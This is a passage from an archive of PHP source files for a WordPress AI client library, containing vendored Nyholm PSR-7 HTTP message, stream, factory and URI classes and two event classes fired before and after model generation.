    public function hasHeader($header): bool
    {
        return isset($this->headerNames[\strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')]);
    }
    public function getHeader($header): array
    {
        if (!\is_string($header)) {
            throw new \InvalidArgumentException('Header name must be an RFC 7230 compatible string');
        }
        $header = \strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
        if (!isset($this->headerNames[$header])) {
            return [];
        }
        $header = $this->headerNames[$header];
        return $this->headers[$header];
    }
    public function getHeaderLine($header): string
    {
        return \implode(', ', $this->getHeader($header));
    }
    /**
     * @return static
     */
    public function withHeader($header, $value): MessageInterface
    {
        $value = $this->validateAndTrimHeader($header, $value);
        $normalized = \strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
        $new = clone $this;
        if (isset($new->headerNames[$normalized])) {
            unset($new->headers[$new->headerNames[$normalized]]);
        }
        $new->headerNames[$normalized] = $header;
        $new->headers[$header] = $value;
        return $new;
    }
    /**
     * @return static
     */
    public function withAddedHeader($header, $value): MessageInterface
    {
        if (!\is_string($header) || '' === $header) {
            throw new \InvalidArgumentException('Header name must be an RFC 7230 compatible string');
        }
        $new = clone $this;
        $new->setHeaders([$header => $value]);
        return $new;
    }
    /**
     * @return static
     */
    public function withoutHeader($header): MessageInterface
    {
        if (!\is_string($header)) {
            throw new \InvalidArgumentException('Header name must be an RFC 7230 compatible string');
        }
        $normalized = \strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
        if (!isset($this->headerNames[$normalized])) {
            return $this;
        }
        $header = $this->headerNames[$normalized];
        $new = clone $this;
        unset($new->headers[$header], $new->headerNames[$normalized]);
        return $new;
    }
    public function getBody(): StreamInterface
    {
        if (null === $this->stream) {
            $this->stream = Stream::create('');
        }
        return $this->stream;
    }
    /**
     * @return static
     */
    public function withBody(StreamInterface $body): MessageInterface
    {
        if ($body === $this->stream) {
            return $this;
        }
        $new = clone $this;
        $new->stream = $body;
        return $new;
    }
    private function setHeaders(array $headers): void
    {
        foreach ($headers as $header => $value) {
            if (\is_int($header)) {
                // If a header name was set to a numeric string, PHP will cast the key to an int.
                // We must cast it back to a string in order to comply with validation.
                $header = (string) $header;
            }
            $value = $this->validateAndTrimHeader($header, $value);
            $normalized = \strtr($header, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz');
            if (isset($this->headerNames[$normalized])) {
                $header = $this->headerNames[$normalized];
                $this->headers[$header] = \array_merge($this->headers[$header], $value);
            } else {
                $this->headerNames[$normalized] = $header;
                $this->headers[$header] = $value;
            }
        }
    }
    /**
     * Make sure the header complies with RFC 7230.
     *
     * Header names must be a non-empty string consisting of token characters.
     *
     * Header values must be strings consisting of visible characters with all optional
     * leading and trailing whitespace stripped. This method will always strip such
     * optional whitespace. Note that the method does not allow folding whitespace within
     * the values as this was deprecated for almost all instances by the RFC.
     *
     * header-field = field-name ":" OWS field-value OWS
     * field-name   = 1*( "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "." / "^"
     *              / "_" / "`" / "|" / "~" / %x30-39 / ( %x41-5A / %x61-7A ) )
     * OWS          = *( SP / HTAB )
     * field-value  = *( ( %x21-7E / %x80-FF ) [ 1*( SP / HTAB ) ( %x21-7E / %x80-FF ) ] )
     *
     * @see https://tools.ietf.org/html/rfc7230#section-3.2.4
     */
    private function validateAndTrimHeader($header, $values): array
    {
        if (!\is_string($header) || 1 !== \preg_match("@^[!#\$%&'*+.^_`|~0-9A-Za-z-]+\$@D", $header)) {
            throw new \InvalidArgumentException('Header name must be an RFC 7230 compatible string');
        }
        if (!\is_array($values)) {
            // This is simple, just one value.
            if (!\is_numeric($values) && !\is_string($values) || 1 !== \preg_match("@^[ \t!-~\x80-\xff]*\$@", (string) $values)) {
                throw new \InvalidArgumentException('Header values must be RFC 7230 compatible strings');
            }
            return [\trim((string) $values, " \t")];
        }
        if (empty($values)) {
            throw new \InvalidArgumentException('Header values must be a string or an array of strings, empty array given');
        }
        // Assert Non empty array
        $returnValues = [];
        foreach ($values as $v) {
            if (!\is_numeric($v) && !\is_string($v) || 1 !== \preg_match("@^[ \t!-~\x80-\xff]*\$@D", (string) $v)) {
                throw new \InvalidArgumentException('Header values must be RFC 7230 compatible strings');
            }
            $returnValues[] = \trim((string) $v, " \t");
        }
        return $returnValues;
    }
}
third-party/Nyholm/Psr7/StreamTrait.php000064400000003074152205304550014071 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Symfony\Component\Debug\ErrorHandler as SymfonyLegacyErrorHandler;
use WordPress\AiClientDependencies\Symfony\Component\ErrorHandler\ErrorHandler as SymfonyErrorHandler;
if (\PHP_VERSION_ID >= 70400 || (new \ReflectionMethod(StreamInterface::class, '__toString'))->hasReturnType()) {
    /**
     * @internal
     */
    trait StreamTrait
    {
        public function __toString(): string
        {
            if ($this->isSeekable()) {
                $this->seek(0);
            }
            return $this->getContents();
        }
    }
} else {
    /**
     * @internal
     */
    trait StreamTrait
    {
        /**
         * @return string
         */
        public function __toString()
        {
            try {
                if ($this->isSeekable()) {
                    $this->seek(0);
                }
                return $this->getContents();
            } catch (\Throwable $e) {
                if (\is_array($errorHandler = \set_error_handler('var_dump'))) {
                    $errorHandler = $errorHandler[0] ?? null;
                }
                \restore_error_handler();
                if ($e instanceof \Error || $errorHandler instanceof SymfonyErrorHandler || $errorHandler instanceof SymfonyLegacyErrorHandler) {
                    return \trigger_error((string) $e, \E_USER_ERROR);
                }
                return '';
            }
        }
    }
}
third-party/Nyholm/Psr7/Stream.php000064400000025555152205304550013075 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
/**
 * @author Michael Dowling and contributors to guzzlehttp/psr7
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 */
class Stream implements StreamInterface
{
    use StreamTrait;
    /** @var resource|null A resource reference */
    private $stream;
    /** @var bool */
    private $seekable;
    /** @var bool */
    private $readable;
    /** @var bool */
    private $writable;
    /** @var array|mixed|void|bool|null */
    private $uri;
    /** @var int|null */
    private $size;
    /** @var array Hash of readable and writable stream types */
    private const READ_WRITE_HASH = ['read' => ['r' => \true, 'w+' => \true, 'r+' => \true, 'x+' => \true, 'c+' => \true, 'rb' => \true, 'w+b' => \true, 'r+b' => \true, 'x+b' => \true, 'c+b' => \true, 'rt' => \true, 'w+t' => \true, 'r+t' => \true, 'x+t' => \true, 'c+t' => \true, 'a+' => \true], 'write' => ['w' => \true, 'w+' => \true, 'rw' => \true, 'r+' => \true, 'x+' => \true, 'c+' => \true, 'wb' => \true, 'w+b' => \true, 'r+b' => \true, 'x+b' => \true, 'c+b' => \true, 'w+t' => \true, 'r+t' => \true, 'x+t' => \true, 'c+t' => \true, 'a' => \true, 'a+' => \true]];
    /**
     * @param resource $body
     */
    public function __construct($body)
    {
        if (!\is_resource($body)) {
            throw new \InvalidArgumentException('First argument to Stream::__construct() must be resource');
        }
        $this->stream = $body;
        $meta = \stream_get_meta_data($this->stream);
        $this->seekable = $meta['seekable'] && 0 === \fseek($this->stream, 0, \SEEK_CUR);
        $this->readable = isset(self::READ_WRITE_HASH['read'][$meta['mode']]);
        $this->writable = isset(self::READ_WRITE_HASH['write'][$meta['mode']]);
    }
    /**
     * Creates a new PSR-7 stream.
     *
     * @param string|resource|StreamInterface $body
     *
     * @throws \InvalidArgumentException
     */
    public static function create($body = ''): StreamInterface
    {
        if ($body instanceof StreamInterface) {
            return $body;
        }
        if (\is_string($body)) {
            if (200000 <= \strlen($body)) {
                $body = self::openZvalStream($body);
            } else {
                $resource = \fopen('php://memory', 'r+');
                \fwrite($resource, $body);
                \fseek($resource, 0);
                $body = $resource;
            }
        }
        if (!\is_resource($body)) {
            throw new \InvalidArgumentException('First argument to Stream::create() must be a string, resource or StreamInterface');
        }
        return new self($body);
    }
    /**
     * Closes the stream when the destructed.
     */
    public function __destruct()
    {
        $this->close();
    }
    public function close(): void
    {
        if (isset($this->stream)) {
            if (\is_resource($this->stream)) {
                \fclose($this->stream);
            }
            $this->detach();
        }
    }
    public function detach()
    {
        if (!isset($this->stream)) {
            return null;
        }
        $result = $this->stream;
        unset($this->stream);
        $this->size = $this->uri = null;
        $this->readable = $this->writable = $this->seekable = \false;
        return $result;
    }
    private function getUri()
    {
        if (\false !== $this->uri) {
            $this->uri = $this->getMetadata('uri') ?? \false;
        }
        return $this->uri;
    }
    public function getSize(): ?int
    {
        if (null !== $this->size) {
            return $this->size;
        }
        if (!isset($this->stream)) {
            return null;
        }
        // Clear the stat cache if the stream has a URI
        if ($uri = $this->getUri()) {
            \clearstatcache(\true, $uri);
        }
        $stats = \fstat($this->stream);
        if (isset($stats['size'])) {
            $this->size = $stats['size'];
            return $this->size;
        }
        return null;
    }
    public function tell(): int
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (\false === $result = @\ftell($this->stream)) {
            throw new \RuntimeException('Unable to determine stream position: ' . (\error_get_last()['message'] ?? ''));
        }
        return $result;
    }
    public function eof(): bool
    {
        return !isset($this->stream) || \feof($this->stream);
    }
    public function isSeekable(): bool
    {
        return $this->seekable;
    }
    public function seek($offset, $whence = \SEEK_SET): void
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->seekable) {
            throw new \RuntimeException('Stream is not seekable');
        }
        if (-1 === \fseek($this->stream, $offset, $whence)) {
            throw new \RuntimeException('Unable to seek to stream position "' . $offset . '" with whence ' . \var_export($whence, \true));
        }
    }
    public function rewind(): void
    {
        $this->seek(0);
    }
    public function isWritable(): bool
    {
        return $this->writable;
    }
    public function write($string): int
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->writable) {
            throw new \RuntimeException('Cannot write to a non-writable stream');
        }
        // We can't know the size after writing anything
        $this->size = null;
        if (\false === $result = @\fwrite($this->stream, $string)) {
            throw new \RuntimeException('Unable to write to stream: ' . (\error_get_last()['message'] ?? ''));
        }
        return $result;
    }
    public function isReadable(): bool
    {
        return $this->readable;
    }
    public function read($length): string
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        if (!$this->readable) {
            throw new \RuntimeException('Cannot read from non-readable stream');
        }
        if (\false === $result = @\fread($this->stream, $length)) {
            throw new \RuntimeException('Unable to read from stream: ' . (\error_get_last()['message'] ?? ''));
        }
        return $result;
    }
    public function getContents(): string
    {
        if (!isset($this->stream)) {
            throw new \RuntimeException('Stream is detached');
        }
        $exception = null;
        \set_error_handler(static function ($type, $message) use (&$exception) {
            throw $exception = new \RuntimeException('Unable to read stream contents: ' . $message);
        });
        try {
            return \stream_get_contents($this->stream);
        } catch (\Throwable $e) {
            throw $e === $exception ? $e : new \RuntimeException('Unable to read stream contents: ' . $e->getMessage(), 0, $e);
        } finally {
            \restore_error_handler();
        }
    }
    /**
     * @return mixed
     */
    public function getMetadata($key = null)
    {
        if (null !== $key && !\is_string($key)) {
            throw new \InvalidArgumentException('Metadata key must be a string');
        }
        if (!isset($this->stream)) {
            return $key ? null : [];
        }
        $meta = \stream_get_meta_data($this->stream);
        if (null === $key) {
            return $meta;
        }
        return $meta[$key] ?? null;
    }
    private static function openZvalStream(string $body)
    {
        static $wrapper;
        $wrapper ?? \stream_wrapper_register('Nyholm-Psr7-Zval', $wrapper = \get_class(new class
        {
            public $context;
            private $data;
            private $position = 0;
            public function stream_open(): bool
            {
                $this->data = \stream_context_get_options($this->context)['Nyholm-Psr7-Zval']['data'];
                \stream_context_set_option($this->context, 'Nyholm-Psr7-Zval', 'data', null);
                return \true;
            }
            public function stream_read(int $count): string
            {
                $result = \substr($this->data, $this->position, $count);
                $this->position += \strlen($result);
                return $result;
            }
            public function stream_write(string $data): int
            {
                $this->data = \substr_replace($this->data, $data, $this->position, \strlen($data));
                $this->position += \strlen($data);
                return \strlen($data);
            }
            public function stream_tell(): int
            {
                return $this->position;
            }
            public function stream_eof(): bool
            {
                return \strlen($this->data) <= $this->position;
            }
            public function stream_stat(): array
            {
                return [
                    'mode' => 33206,
                    // POSIX_S_IFREG | 0666
                    'nlink' => 1,
                    'rdev' => -1,
                    'size' => \strlen($this->data),
                    'blksize' => -1,
                    'blocks' => -1,
                ];
            }
            public function stream_seek(int $offset, int $whence): bool
            {
                if (\SEEK_SET === $whence && (0 <= $offset && \strlen($this->data) >= $offset)) {
                    $this->position = $offset;
                } elseif (\SEEK_CUR === $whence && 0 <= $offset) {
                    $this->position += $offset;
                } elseif (\SEEK_END === $whence && (0 > $offset && 0 <= $offset = \strlen($this->data) + $offset)) {
                    $this->position = $offset;
                } else {
                    return \false;
                }
                return \true;
            }
            public function stream_set_option(): bool
            {
                return \true;
            }
            public function stream_truncate(int $new_size): bool
            {
                if ($new_size) {
                    $this->data = \substr($this->data, 0, $new_size);
                    $this->position = \min($this->position, $new_size);
                } else {
                    $this->data = '';
                    $this->position = 0;
                }
                return \true;
            }
        }));
        $context = \stream_context_create(['Nyholm-Psr7-Zval' => ['data' => $body]]);
        if (!$stream = @\fopen('Nyholm-Psr7-Zval://', 'r+', \false, $context)) {
            \stream_wrapper_register('Nyholm-Psr7-Zval', $wrapper);
            $stream = \fopen('Nyholm-Psr7-Zval://', 'r+', \false, $context);
        }
        return $stream;
    }
}
third-party/Nyholm/Psr7/Factory/Psr17Factory.php000064400000007376152205304550015516 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7\Factory;

use WordPress\AiClientDependencies\Nyholm\Psr7\Request;
use WordPress\AiClientDependencies\Nyholm\Psr7\Response;
use WordPress\AiClientDependencies\Nyholm\Psr7\ServerRequest;
use WordPress\AiClientDependencies\Nyholm\Psr7\Stream;
use WordPress\AiClientDependencies\Nyholm\Psr7\UploadedFile;
use WordPress\AiClientDependencies\Nyholm\Psr7\Uri;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 */
class Psr17Factory implements RequestFactoryInterface, ResponseFactoryInterface, ServerRequestFactoryInterface, StreamFactoryInterface, UploadedFileFactoryInterface, UriFactoryInterface
{
    public function createRequest(string $method, $uri): RequestInterface
    {
        return new Request($method, $uri);
    }
    public function createResponse(int $code = 200, string $reasonPhrase = ''): ResponseInterface
    {
        if (2 > \func_num_args()) {
            // This will make the Response class to use a custom reasonPhrase
            $reasonPhrase = null;
        }
        return new Response($code, [], null, '1.1', $reasonPhrase);
    }
    public function createStream(string $content = ''): StreamInterface
    {
        return Stream::create($content);
    }
    public function createStreamFromFile(string $filename, string $mode = 'r'): StreamInterface
    {
        if ('' === $filename) {
            throw new \RuntimeException('Path cannot be empty');
        }
        if (\false === $resource = @\fopen($filename, $mode)) {
            if ('' === $mode || \false === \in_array($mode[0], ['r', 'w', 'a', 'x', 'c'], \true)) {
                throw new \InvalidArgumentException(\sprintf('The mode "%s" is invalid.', $mode));
            }
            throw new \RuntimeException(\sprintf('The file "%s" cannot be opened: %s', $filename, \error_get_last()['message'] ?? ''));
        }
        return Stream::create($resource);
    }
    public function createStreamFromResource($resource): StreamInterface
    {
        return Stream::create($resource);
    }
    public function createUploadedFile(StreamInterface $stream, ?int $size = null, int $error = \UPLOAD_ERR_OK, ?string $clientFilename = null, ?string $clientMediaType = null): UploadedFileInterface
    {
        if (null === $size) {
            $size = $stream->getSize();
        }
        return new UploadedFile($stream, $size, $error, $clientFilename, $clientMediaType);
    }
    public function createUri(string $uri = ''): UriInterface
    {
        return new Uri($uri);
    }
    public function createServerRequest(string $method, $uri, array $serverParams = []): ServerRequestInterface
    {
        return new ServerRequest($method, $uri, [], null, '1.1', $serverParams);
    }
}
third-party/Nyholm/Psr7/Factory/HttplugFactory.php000064400000004531152205304550016217 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7\Factory;

use WordPress\AiClientDependencies\Http\Message\MessageFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory;
use WordPress\AiClientDependencies\Nyholm\Psr7\Request;
use WordPress\AiClientDependencies\Nyholm\Psr7\Response;
use WordPress\AiClientDependencies\Nyholm\Psr7\Stream;
use WordPress\AiClientDependencies\Nyholm\Psr7\Uri;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
if (!\interface_exists(MessageFactory::class)) {
    throw new \LogicException('You cannot use "Nyholm\Psr7\Factory\HttplugFactory" as the "php-http/message-factory" package is not installed. Try running "composer require php-http/message-factory". Note that this package is deprecated, use "psr/http-factory" instead');
}
@\trigger_error('Class "Nyholm\Psr7\Factory\HttplugFactory" is deprecated since version 1.8, use "Nyholm\Psr7\Factory\Psr17Factory" instead.', \E_USER_DEPRECATED);
/**
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 *
 * @deprecated since version 1.8, use Psr17Factory instead
 */
class HttplugFactory implements MessageFactory, StreamFactory, UriFactory
{
    public function createRequest($method, $uri, array $headers = [], $body = null, $protocolVersion = '1.1'): RequestInterface
    {
        return new Request($method, $uri, $headers, $body, $protocolVersion);
    }
    public function createResponse($statusCode = 200, $reasonPhrase = null, array $headers = [], $body = null, $version = '1.1'): ResponseInterface
    {
        return new Response((int) $statusCode, $headers, $body, $version, $reasonPhrase);
    }
    public function createStream($body = null): StreamInterface
    {
        return Stream::create($body ?? '');
    }
    public function createUri($uri = ''): UriInterface
    {
        if ($uri instanceof UriInterface) {
            return $uri;
        }
        return new Uri($uri);
    }
}
third-party/Nyholm/Psr7/Uri.php000064400000023011152205304550012362 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClientDependencies\Nyholm\Psr7;

use WordPress\AiClientDependencies\Psr\Http\Message\UriInterface;
/**
 * PSR-7 URI implementation.
 *
 * @author Michael Dowling
 * @author Tobias Schultze
 * @author Matthew Weier O'Phinney
 * @author Tobias Nyholm <tobias.nyholm@gmail.com>
 * @author Martijn van der Ven <martijn@vanderven.se>
 *
 * @final This class should never be extended. See https://github.com/Nyholm/psr7/blob/master/doc/final.md
 */
class Uri implements UriInterface
{
    private const SCHEMES = ['http' => 80, 'https' => 443];
    private const CHAR_UNRESERVED = 'a-zA-Z0-9_\-\.~';
    private const CHAR_SUB_DELIMS = '!\$&\'\(\)\*\+,;=';
    private const CHAR_GEN_DELIMS = ':\/\?#\[\]@';
    /** @var string Uri scheme. */
    private $scheme = '';
    /** @var string Uri user info. */
    private $userInfo = '';
    /** @var string Uri host. */
    private $host = '';
    /** @var int|null Uri port. */
    private $port;
    /** @var string Uri path. */
    private $path = '';
    /** @var string Uri query string. */
    private $query = '';
    /** @var string Uri fragment. */
    private $fragment = '';
    public function __construct(string $uri = '')
    {
        if ('' !== $uri) {
            if (\false === $parts = \parse_url($uri)) {
                throw new \InvalidArgumentException(\sprintf('Unable to parse URI: "%s"', $uri));
            }
            // Apply parse_url parts to a URI.
            $this->scheme = isset($parts['scheme']) ? \strtr($parts['scheme'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : '';
            $this->userInfo = $parts['user'] ?? '';
            $this->host = isset($parts['host']) ? \strtr($parts['host'], 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz') : '';
            $this->port = isset($parts['port']) ? $this->filterPort($parts['port']) : null;
            $this->path = isset($parts['path']) ? $this->filterPath($parts['path']) : '';
            $this->query = isset($parts['query']) ? $this->filterQueryAndFragment($parts['query']) : '';
            $this->fragment = isset($parts['fragment']) ? $this->filterQueryAndFragment($parts['fragment']) : '';
            if (isset($parts['pass'])) {
                $this->userInfo .= ':' . $parts['pass'];
            }
        }
    }
    public function __toString(): string
    {
        return self::createUriString($this->scheme, $this->getAuthority(), $this->path, $this->query, $this->fragment);
    }
    public function getScheme(): string
    {
        return $this->scheme;
    }
    public function getAuthority(): string
    {
        if ('' === $this->host) {
            return '';
        }
        $authority = $this->host;
        if ('' !== $this->userInfo) {
            $authority = $this->userInfo . '@' . $authority;
        }
        if (null !== $this->port) {
            $authority .= ':' . $this->port;
        }
        return $authority;
    }
    public function getUserInfo(): string
    {
        return $this->userInfo;
    }
    public function getHost(): string
    {
        return $this->host;
    }
    public function getPort(): ?int
    {
        return $this->port;
    }
    public function getPath(): string
    {
        $path = $this->path;
        if ('' !== $path && '/' !== $path[0]) {
            if ('' !== $this->host) {
                // If the path is rootless and an authority is present, the path MUST be prefixed by "/"
                $path = '/' . $path;
            }
        } elseif (isset($path[1]) && '/' === $path[1]) {
            // If the path is starting with more than one "/", the
            // starting slashes MUST be reduced to one.
            $path = '/' . \ltrim($path, '/');
        }
        return $path;
    }
    public function getQuery(): string
    {
        return $this->query;
    }
    public function getFragment(): string
    {
        return $this->fragment;
    }
    /**
     * @return static
     */
    public function withScheme($scheme): UriInterface
    {
        if (!\is_string($scheme)) {
            throw new \InvalidArgumentException('Scheme must be a string');
        }
        if ($this->scheme === $scheme = \strtr($scheme, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) {
            return $this;
        }
        $new = clone $this;
        $new->scheme = $scheme;
        $new->port = $new->filterPort($new->port);
        return $new;
    }
    /**
     * @return static
     */
    public function withUserInfo($user, $password = null): UriInterface
    {
        if (!\is_string($user)) {
            throw new \InvalidArgumentException('User must be a string');
        }
        $info = \preg_replace_callback('/[' . self::CHAR_GEN_DELIMS . self::CHAR_SUB_DELIMS . ']++/', [__CLASS__, 'rawurlencodeMatchZero'], $user);
        if (null !== $password && '' !== $password) {
            if (!\is_string($password)) {
                throw new \InvalidArgumentException('Password must be a string');
            }
            $info .= ':' . \preg_replace_callback('/[' . self::CHAR_GEN_DELIMS . self::CHAR_SUB_DELIMS . ']++/', [__CLASS__, 'rawurlencodeMatchZero'], $password);
        }
        if ($this->userInfo === $info) {
            return $this;
        }
        $new = clone $this;
        $new->userInfo = $info;
        return $new;
    }
    /**
     * @return static
     */
    public function withHost($host): UriInterface
    {
        if (!\is_string($host)) {
            throw new \InvalidArgumentException('Host must be a string');
        }
        if ($this->host === $host = \strtr($host, 'ABCDEFGHIJKLMNOPQRSTUVWXYZ', 'abcdefghijklmnopqrstuvwxyz')) {
            return $this;
        }
        $new = clone $this;
        $new->host = $host;
        return $new;
    }
    /**
     * @return static
     */
    public function withPort($port): UriInterface
    {
        if ($this->port === $port = $this->filterPort($port)) {
            return $this;
        }
        $new = clone $this;
        $new->port = $port;
        return $new;
    }
    /**
     * @return static
     */
    public function withPath($path): UriInterface
    {
        if ($this->path === $path = $this->filterPath($path)) {
            return $this;
        }
        $new = clone $this;
        $new->path = $path;
        return $new;
    }
    /**
     * @return static
     */
    public function withQuery($query): UriInterface
    {
        if ($this->query === $query = $this->filterQueryAndFragment($query)) {
            return $this;
        }
        $new = clone $this;
        $new->query = $query;
        return $new;
    }
    /**
     * @return static
     */
    public function withFragment($fragment): UriInterface
    {
        if ($this->fragment === $fragment = $this->filterQueryAndFragment($fragment)) {
            return $this;
        }
        $new = clone $this;
        $new->fragment = $fragment;
        return $new;
    }
    /**
     * Create a URI string from its various parts.
     */
    private static function createUriString(string $scheme, string $authority, string $path, string $query, string $fragment): string
    {
        $uri = '';
        if ('' !== $scheme) {
            $uri .= $scheme . ':';
        }
        if ('' !== $authority) {
            $uri .= '//' . $authority;
        }
        if ('' !== $path) {
            if ('/' !== $path[0]) {
                if ('' !== $authority) {
                    // If the path is rootless and an authority is present, the path MUST be prefixed by "/"
                    $path = '/' . $path;
                }
            } elseif (isset($path[1]) && '/' === $path[1]) {
                if ('' === $authority) {
                    // If the path is starting with more than one "/" and no authority is present, the
                    // starting slashes MUST be reduced to one.
                    $path = '/' . \ltrim($path, '/');
                }
            }
            $uri .= $path;
        }
        if ('' !== $query) {
            $uri .= '?' . $query;
        }
        if ('' !== $fragment) {
            $uri .= '#' . $fragment;
        }
        return $uri;
    }
    /**
     * Is a given port non-standard for the current scheme?
     */
    private static function isNonStandardPort(string $scheme, int $port): bool
    {
        return !isset(self::SCHEMES[$scheme]) || $port !== self::SCHEMES[$scheme];
    }
    private function filterPort($port): ?int
    {
        if (null === $port) {
            return null;
        }
        $port = (int) $port;
        if (0 > $port || 0xffff < $port) {
            throw new \InvalidArgumentException(\sprintf('Invalid port: %d. Must be between 0 and 65535', $port));
        }
        return self::isNonStandardPort($this->scheme, $port) ? $port : null;
    }
    private function filterPath($path): string
    {
        if (!\is_string($path)) {
            throw new \InvalidArgumentException('Path must be a string');
        }
        return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $path);
    }
    private function filterQueryAndFragment($str): string
    {
        if (!\is_string($str)) {
            throw new \InvalidArgumentException('Query and fragment must be a string');
        }
        return \preg_replace_callback('/(?:[^' . self::CHAR_UNRESERVED . self::CHAR_SUB_DELIMS . '%:@\/\?]++|%(?![A-Fa-f0-9]{2}))/', [__CLASS__, 'rawurlencodeMatchZero'], $str);
    }
    private static function rawurlencodeMatchZero(array $match): string
    {
        return \rawurlencode($match[0]);
    }
}
src/Events/BeforeGenerateResultEvent.php000064400000005251152205304550014372 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Events;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
/**
 * Event dispatched before a prompt is sent to the AI model.
 *
 * This event allows listeners to inspect and modify the messages before they
 * are sent to the model. The event is not stoppable, meaning the model call
 * will always proceed regardless of listener actions.
 *
 * @since 0.4.0
 */
class BeforeGenerateResultEvent
{
    /**
     * @var list<Message> The messages to be sent to the model.
     */
    private array $messages;
    /**
     * @var ModelInterface The model that will process the prompt.
     */
    private ModelInterface $model;
    /**
     * @var CapabilityEnum|null The capability being used for generation.
     */
    private ?CapabilityEnum $capability;
    /**
     * Constructor.
     *
     * @since 0.4.0
     *
     * @param list<Message> $messages The messages to be sent to the model.
     * @param ModelInterface $model The model that will process the prompt.
     * @param CapabilityEnum|null $capability The capability being used for generation.
     */
    public function __construct(array $messages, ModelInterface $model, ?CapabilityEnum $capability)
    {
        $this->messages = $messages;
        $this->model = $model;
        $this->capability = $capability;
    }
    /**
     * Gets the messages to be sent to the model.
     *
     * @since 0.4.0
     *
     * @return list<Message> The messages.
     */
    public function getMessages(): array
    {
        return $this->messages;
    }
    /**
     * Gets the model that will process the prompt.
     *
     * @since 0.4.0
     *
     * @return ModelInterface The model.
     */
    public function getModel(): ModelInterface
    {
        return $this->model;
    }
    /**
     * Gets the capability being used for generation.
     *
     * @since 0.4.0
     *
     * @return CapabilityEnum|null The capability, or null if not specified.
     */
    public function getCapability(): ?CapabilityEnum
    {
        return $this->capability;
    }
    /**
     * Performs a deep clone of the event.
     *
     * This method ensures that message objects are cloned to prevent
     * modifications to the cloned event from affecting the original.
     * The model object is not cloned as it is a service object.
     *
     * @since 0.4.2
     */
    public function __clone()
    {
        $clonedMessages = [];
        foreach ($this->messages as $message) {
            $clonedMessages[] = clone $message;
        }
        $this->messages = $clonedMessages;
    }
}
src/Events/AfterGenerateResultEvent.php000064400000006353152205304550014235 0ustar00<?php

declare (strict_types=1);
namespace WordPress\AiClient\Events;

use WordPress\AiClient\Messages\DTO\Message;
use WordPress\AiClient\Providers\Models\Contracts\ModelInterface;
use WordPress\AiClient\Providers\Models\Enums\CapabilityEnum;
use WordPress\AiClient\Results\DTO\GenerativeAiResult;
/**
 * Event dispatched after a prompt has been sent to the AI model and a response received.
 *
 * This event allows listeners to inspect the result of the model call for logging,
 * analytics, or other post-processing purposes. The result object is immutable.
 *
 * @since 0.4.0
 */
class AfterGenerateResultEvent
{
    /**
     * @var list<Message> The messages that were sent to the model.
     */
    private array $messages;
    /**
